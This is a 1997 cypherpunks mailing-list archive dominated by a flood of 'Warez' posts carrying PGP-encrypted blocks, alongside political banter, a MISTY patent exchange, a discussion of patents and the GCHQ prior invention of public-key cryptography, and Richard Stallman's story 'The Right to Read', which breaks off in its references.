Message-ID: <199712180752.XAA15650@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7EihrhtnBjwnlIysYOoyijbgRBSjGCQO1lkmAhE8ECjbq0xL
fjcptADbL7ObAy3Kx07KCB40aqOdNEBbvI+Y6f/eVj249V8iSTESb3clnIFVvKzL
0f8RcLqaR9O+dzGjHfJ/ZvpFe+5N7ZsDAThp2lizkSQvOXLlKNZ20f5r3q4IZRDx
iDnKqAH8deBpYlDLqFp8uCMwV3REtnGKAX2VMv/kxbTIkiqmfWarNG7+PJsah/bF
L8qXM60u11S2lI/9eKe7dwx2k/5PvNKhJyDtKiO5LwOgSkeUjrerHGIlOF2yRHnC
6022Gx9Xt1xOaYltF4bvyoOi566v5yNvePhznDXUfXb3PXbFx0ixE4Utw6sqkjbB
XnYGtmnYRbLh78jqQIdN1ZGv5Kn8EWMQWKKxYRdvul5DccXxSvGxoVD5mf6KjfxT
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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:04:42 +0800
To: cypherpunks@toad.com
Subject: Warez 2
Message-ID: <199712180757.XAA15681@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:09:39 +0800
To: cypherpunks@toad.com
Subject: Warez 3
Message-ID: <199712180758.XAA15698@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:09:44 +0800
To: cypherpunks@toad.com
Subject: Warez 4
Message-ID: <199712180758.XAA15704@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:13:51 +0800
To: cypherpunks@toad.com
Subject: Warez 5
Message-ID: <199712180803.AAA15801@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:14:43 +0800
To: cypherpunks@toad.com
Subject: Warez 6
Message-ID: <199712180806.AAA15834@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:22:03 +0800
To: cypherpunks@toad.com
Subject: Warez 7
Message-ID: <199712180812.AAA15905@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:26:04 +0800
To: cypherpunks@toad.com
Subject: Warez 8
Message-ID: <199712180815.AAA15939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:23:21 +0800
To: cypherpunks@toad.com
Subject: Warez 9
Message-ID: <199712180815.AAA15944@toad.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:26:29 +0800
To: cypherpunks@toad.com
Subject: Warez 10
Message-ID: <199712180818.AAA15984@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:27:49 +0800
To: cypherpunks@toad.com
Subject: Warez 11
Message-ID: <199712180821.AAA16012@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:32:19 +0800
To: cypherpunks@toad.com
Subject: Warez 12
Message-ID: <199712180823.AAA16033@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:40:09 +0800
To: cypherpunks@toad.com
Subject: Warez 9
Message-ID: <199712180829.AAA16056@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:37:30 +0800
To: cypherpunks@toad.com
Subject: Warez 13
Message-ID: <199712180830.AAA16087@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:39:09 +0800
To: cypherpunks@toad.com
Subject: Warez 14
Message-ID: <199712180831.AAA16106@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:40:46 +0800
To: cypherpunks@toad.com
Subject: Warez 15
Message-ID: <199712180832.AAA16124@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:40:05 +0800
To: cypherpunks@toad.com
Subject: Warez 16
Message-ID: <199712180833.AAA16149@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:41:53 +0800
To: cypherpunks@toad.com
Subject: Warez 17
Message-ID: <199712180833.AAA16165@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:42:52 +0800
To: cypherpunks@toad.com
Subject: Warez 18
Message-ID: <199712180834.AAA16187@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 18 Dec 1997 15:08:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re:
In-Reply-To: <Sl1u95tNr9A0n4yGHAxIPQ==@bureau42.ml.org>
Message-ID: <199712180703.CAA29977@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



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In <Sl1u95tNr9A0n4yGHAxIPQ==@bureau42.ml.org>, on 12/18/97 
   at 05:36 AM, bureau42 Anonymous Remailer <nobody@bureau42.ml.org> said:

>When is Klintonkov running again? Why not?! He doesn't pay any attention
>to the other amendments!

Oh I am sure the rat bastard would like nothing more than to be another
Franklin "Dictator for Life" Roosevlet. He has already show that he is
just as much a socialist and has the same disrespect for the Constitution.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:57:03 +0800
To: cypherpunks@toad.com
Subject: Warez 19
Message-ID: <199712180848.AAA16338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 18 Dec 1997 14:56:29 +0800
To: cypherpunks@toad.com
Subject: Re: Can I do Pubkic Domain that -
In-Reply-To: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <4g0VHe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Bruce Balden" <balden@mail.bc.rogers.wave.ca> writes:

>
> Are you looking for access to the MISTY source code?

No, thank you.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 17:01:08 +0800
To: cypherpunks@toad.com
Subject: Warez 20
Message-ID: <199712180854.AAA16418@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 17:05:12 +0800
To: cypherpunks@toad.com
Subject: Warez 21
Message-ID: <199712180858.AAA16487@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 17:10:13 +0800
To: cypherpunks@toad.com
Subject: Warez 22
Message-ID: <199712180902.BAA16576@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 17:12:41 +0800
To: cypherpunks@toad.com
Subject: Warez 23
Message-ID: <199712180904.BAA16596@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 17:14:59 +0800
To: cypherpunks@toad.com
Subject: Warez 24
Message-ID: <199712180906.BAA16634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 18 Dec 1997 15:37:18 +0800
To: "Nobuki Nakatuji" <bd1011@hotmail.com>
Subject: Re: MISTY is patented International Patent
In-Reply-To: <19971218065824.25374.qmail@hotmail.com>
Message-ID: <199712180730.CAA30209@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19971218065824.25374.qmail@hotmail.com>, on 12/17/97 
   at 10:58 PM, "Nobuki Nakatuji" <bd1011@hotmail.com> said:


>MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc. A
>license is needed to "make, use or sell".

Who cares?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 18:21:33 +0800
To: cypherpunks@toad.com
Subject: Warez 25
Message-ID: <199712180933.BAA17029@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 17:51:29 +0800
To: cypherpunks@toad.com
Subject: Warez 26
Message-ID: <199712180939.DAA22312@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 17:52:40 +0800
To: cypherpunks@toad.com
Subject: Warez 27
Message-ID: <199712180940.DAA22356@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 18 Dec 1997 15:16:05 +0800
To: cypherpunks@toad.com
Subject: TEST
Message-ID: <cf33ef787cd4598fc5760cc16b86b930@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




TEST







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 20:12:31 +0800
To: cypherpunks@toad.com
Subject: Warez 28
Message-ID: <199712181201.EAA17849@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 20:18:10 +0800
To: cypherpunks@toad.com
Subject: Warez 29
Message-ID: <199712181209.EAA17861@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 20:31:57 +0800
To: cypherpunks@toad.com
Subject: Warez 30
Message-ID: <199712181222.EAA17941@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 20:36:19 +0800
To: cypherpunks@toad.com
Subject: Warez 31
Message-ID: <199712181227.GAA25648@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 20:38:46 +0800
To: cypherpunks@toad.com
Subject: Warez 32
Message-ID: <199712181228.GAA25754@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 20:40:50 +0800
To: cypherpunks@toad.com
Subject: Warez 33
Message-ID: <199712181229.GAA25766@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 21:04:17 +0800
To: cypherpunks@toad.com
Subject: Warez 34
Message-ID: <199712181249.EAA18092@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 21:03:27 +0800
To: cypherpunks@toad.com
Subject: Warez 35
Message-ID: <199712181251.EAA18113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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-----END PGP MESSAGE-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 18 Dec 1997 13:51:32 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <Sl1u95tNr9A0n4yGHAxIPQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



When is Klintonkov running again? Why not?! He doesn't pay any attention to the other amendments!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Fri, 19 Dec 1997 10:07:05 +0800
To: Human Gus-Peter <hg-p@dev.null>
Subject: Re: Warez 397
In-Reply-To: <199712182031.OAA13218@harrier.sasknet.sk.ca>
Message-ID: <Pine.BSF.3.91.971218064005.20153B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Larry;

Knock it off, or I'll have to hide your booze again.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 18 Dec 1997 21:59:58 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199712180703.CAA29977@users.invweb.net>
Message-ID: <0sqwHe3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@invweb.net> writes:
>
> In <Sl1u95tNr9A0n4yGHAxIPQ==@bureau42.ml.org>, on 12/18/97
>    at 05:36 AM, bureau42 Anonymous Remailer <nobody@bureau42.ml.org> said:
>
> >When is Klintonkov running again? Why not?! He doesn't pay any attention
> >to the other amendments!
>
> Oh I am sure the rat bastard would like nothing more than to be another
> Franklin "Dictator for Life" Roosevlet. He has already show that he is
> just as much a socialist and has the same disrespect for the Constitution.

Bill, while I intensely dislike FDR's politics, he was nowhere near the kind
of crook and murderer that Slick Willy is.

FDR tried to pack the Supreme Court - this ain't nice, but it's just politics.
What did he do that could compare to peddling plots on the Arlington nat'l
Cematary to political contributors (that later get dig up and reburied :-)
or to Waco?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 18 Dec 1997 14:40:25 +0800
To: cypherpunks@toad.com
Subject: Warez 2
Message-ID: <199712180622.HAA10160@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 18 Dec 1997 21:59:52 +0800
To: cypherpunks@toad.com
Subject: Re: MISTY is patented International Patent
In-Reply-To: <199712180730.CAA30209@users.invweb.net>
Message-ID: <cyqwHe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@invweb.net> writes:
>
> In <19971218065824.25374.qmail@hotmail.com>, on 12/17/97
>    at 10:58 PM, "Nobuki Nakatuji" <bd1011@hotmail.com> said:
>
>
> >MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc. A
> >license is needed to "make, use or sell".
>
> Who cares?!?

I don't, but chop-chop probably does.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 18 Dec 1997 22:45:51 +0800
To: vicente@certisign.com.br
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <34999229.15CD6AB5@certisign.com.br>
Message-ID: <199712181435.JAA13916@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




While this does prevent making things up out of whole cloth, it does
not address the possibility that the hash has been broken by the
agency, nor the possibility that documents will be selectively
released by the agency to hurt certain parties.

None of this addresses the real flaw, which is the inability to value
your patent if theres a chance that a party will remove the secrecy in
whihc they invented it, and thus nullify your patent.

The whole prior art argument is that you could reasonably have heard
about this other thing, or that the patent office could have found it,
and thus your patent should not have been granted.

If the patent office had examiners with clearence who checked patents
agianst various government claims and denied the patent on the ground
that there exists prior, classified art, that would be vaugely fine;
it would be a predictable risk as the patent is pending.

Adam


Vicente Silveira wrote:
| Adam Shostack wrote:
| > Jim Burnes wrote:
| > | >      http://jya.com/ellisdoc.htm
| > |
| > | Can patents be revoked due to prior art arguments?
| > 
| >         I think its a really bad precedent to revoking patents based
| > on the basis of secret documents released after the fact.  If you
| > believe in patents, then having your work nullifiable by government
| > claims is a bad idea.
| > ...
| 
| Maybe in the future this could be possible ... Let's say that
| NSA does hashes of all their scientific papers and timestamp
| them with some third party recognized company. This way NSA would
| be able to prove that they had an original idea even if they claim
| this only after someone else has reinvented it. 



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 18 Dec 1997 23:07:47 +0800
To: cypherpunks@cyberpass.net
Subject: "The Right to Read" by Richard Stallman
Message-ID: <v03007806b0beeb0a104e@[204.254.20.35]>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Sat, 8 Feb 1997 02:41:21 -0500
From: Richard Stallman <rms@gnu.ai.mit.edu>
To: declan@well.com
Subject: Re: Feb CACM

Here is my CACM story.  It is my first published work of science fiction.


Copyright (C) 1996 Richard Stallman
Verbatim copying is permitted provided this notice is preserved.
This article appeared in the February 1997 issue of Communications of the
ACM (Volume 40, Number 2).


			The Right to Read
				by Richard Stallman

	     (from "The Road To Tycho", a collection of articles
	      about the antecedents of the Lunarian Revolution,
	      published in Luna City in 2096)

For Dan Halbert, the road to Tycho began in college--when Lissa Lenz
asked to borrow his computer.  Hers had broken down, and unless she
could borrow another, she would fail her midterm project.  There was
no one she dared ask, except Dan.

This put Dan in a dilemma.  He had to help her--but if he lent her his
computer, she might read his books.  Aside from the fact that you
could go to prison for many years for letting someone else read your
books, the very idea shocked him at first.  Like everyone, he had been
taught since elementary school that sharing books was nasty and
wrong--something that only pirates would do.

And there wasn't much chance that the SPA--the Software Protection
Authority--would fail to catch him.  In his software class, Dan had
learned that each book had a copyright monitor that reported when and
where it was read, and by whom, to Central Licensing.  (They used this
information to catch reading pirates, but also to sell personal
interest profiles to retailers.)  The next time his computer was
networked, Central Licensing would find out.  He, as computer owner,
would receive the harshest punishment--for not taking pains to prevent
the crime.

Of course, Lissa did not necessarily intend to read his books.  She
might want the computer only to write her midterm.  But Dan knew she
came from a middle-class family and could hardly afford the tuition,
let alone her reading fees.  Reading his books might be the only way
she could graduate.  He understood this situation; he himself had had
to borrow to pay for all the research papers he read.  (10% of those
fees went to the researchers who wrote the papers; since Dan aimed for
an academic career, he could hope that his own research papers, if
frequently referenced, would bring in enough to repay this loan.)

Later on, Dan would learn there was a time when anyone could go to the
library and read journal articles, and even books, without having to
pay.  There were independent scholars who read thousands of pages
without government library grants.  But in the 1990s, both commercial
and nonprofit journal publishers had begun charging fees for access.
By 2047, libraries offering free public access to scholarly literature
were a dim memory.

There were ways, of course, to get around the SPA and Central
Licensing.  They were themselves illegal.  Dan had had a classmate in
software, Frank Martucci, who had obtained an illicit debugging tool,
and used it to skip over the copyright monitor code when reading
books.  But he had told too many friends about it, and one of them
turned him in to the SPA for a reward (students deep in debt were
easily tempted into betrayal).  In 2047, Frank was in prison, not for
pirate reading, but for possessing a debugger.

Dan would later learn that there was a time when anyone could have
debugging tools.  There were even free debugging tools available on CD
or downloadable over the net.  But ordinary users started using them
to bypass copyright monitors, and eventually a judge ruled that this
had become their principal use in actual practice.  This meant they
were illegal; the debuggers' developers were sent to prison.

Programmers still needed debugging tools, of course, but debugger
vendors in 2047 distributed numbered copies only, and only to
officially licensed and bonded programmers.  The debugger Dan used in
software class was kept behind a special firewall so that it could be
used only for class exercises.

It was also possible to bypass the copyright monitors by installing a
modified system kernel.  Dan would eventually find out about the free
kernels, even entire free operating systems, that had existed around
the turn of the century.  But not only were they illegal, like
debuggers--you could not install one if you had one, without knowing
your computer's root password.  And neither the FBI nor Microsoft
Support would tell you that.

Dan concluded that he couldn't simply lend Lissa his computer.  But he
couldn't refuse to help her, because he loved her.  Every chance to
speak with her filled him with delight.  And that she chose him to ask
for help, that could mean she loved him too.

Dan resolved the dilemma by doing something even more unthinkable--he
lent her the computer, and told her his password.  This way, if Lissa
read his books, Central Licensing would think he was reading them.  It
was still a crime, but the SPA would not automatically find out about
it.  They would only find out if Lissa reported him.

Of course, if the school ever found out that he had given Lissa his
own password, it would be curtains for both of them as students,
regardless of what she had used it for.  School policy was that any
interference with their means of monitoring students' computer use was
grounds for disciplinary action.  It didn't matter whether you did
anything harmful--the offense was making it hard for the
administrators to check on you.  They assumed this meant you were
doing something else forbidden, and they did not need to know what it
was.

Students were not usually expelled for this--not directly.  Instead
they were banned from the school computer systems, and would
inevitably fail all their classes.

Later, Dan would learn that this kind of university policy started
only in the 1980s, when university students in large numbers began
using computers.  Previously, universities maintained a different
approach to student discipline; they punished activities that were
harmful, not those that merely raised suspicion.

Lissa did not report Dan to the SPA.  His decision to help her led to
their marriage, and also led them to question what they had been
taught about piracy as children.  The couple began reading about the
history of copyright, about the Soviet Union and its restrictions on
copying, and even the original United States Constitution.  They moved
to Luna, where they found others who had likewise gravitated away from
the long arm of the SPA.  When the Tycho Uprising began in 2062, the
universal right to read soon became one of its central aims.


Author's Note:

The right to read is a battle being fought today.  Although it may
take 50 years for our present way of life to fade into obscurity, most
of the specific laws and practices described above have already been
proposed--either by the Clinton Administration or by publishers.

There is one exception: the idea that the FBI and Microsoft will keep
the root passwords for personal computers.  This is an extrapolation
from the Clipper chip and similar Clinton Administration key-escrow
proposals, together with a long-term trend: computer systems are
increasingly set up to give absentee operators control over the people
actually using the computer system.

The SPA, which actually stands for Software Publisher's Association,
is not today an official police force.  Unofficially, it acts like
one.  It invites people to inform on their coworkers and friends; like
the Clinton Administration, it advocates a policy of collective
responsibility whereby computer owners must actively enforce copyright
or be punished.

The SPA is currently threatening small Internet service providers,
demanding they permit the SPA to monitor all users.  Most ISPs
surrender when threatened, because they cannot afford to fight back in
court.  (Atlanta Journal-Constitution, 1 Oct 96, D3.)  At least one
ISP, Community ConneXion in Oakland CA, refused the demand and was
actually sued (https://www.c2.net/ispdc/).  The SPA is said to have
dropped this suit recently, but they are sure to continue the campaign
in various other ways.

The university security policies described above are not imaginary.
For example, a computer at one Chicago-area university prints this
message when you log in (quotation marks are in the original):

    "This system is for the use of authorized users only.  Individuals using
    this computer system without authority or in the excess of their authority
    are subject to having all their activities on this system monitored and
    recorded by system personnel.  In the course of monitoring individuals
    improperly using this system or in the course of system maintenance, the
    activities of authorized user may also be monitored.  Anyone using this
    system expressly consents to such monitoring and is advised that if such
    monitoring reveals possible evidence of illegal activity or violation of
    University regulations system personnel may provide the evidence of such
    monitoring to University authorities and/or law enforcement officials."

This is an interesting approach to the Fourth Amendment: pressure most
everyone to agree, in advance, to waive their rights under it.


References:

The administration's "White Paper": Information Infrastructure Task
Force, Intellectual Property and the National Information
Infrastructure: The Report of the Working Group on Intellectual
Property Rights (1995).

An explanation of the White Paper:
The Copyright Grab, Pamela Samuelson, Wired, Jan. 1996
(http://www.hotwired.com/wired 4.01/features/whitepaper.html).

Sold Out, James Boyle, New York Times, 31 March 1996
(http://www.ese.ogi.edu/sold.out.html).

Public Data or Private Data, Washington Post, 4 Nov 1996
(http://wp2.washingtonpost.com/cgi-bin/displaySearch?WPlate+33653+%28database%26
geneva%29%3Adescription%26and%2619961102%3Cevent%5Fdate).

Union for the Public Domain--a new organization which aims to resist
and reverse the overextension of intellectual property powers.  For
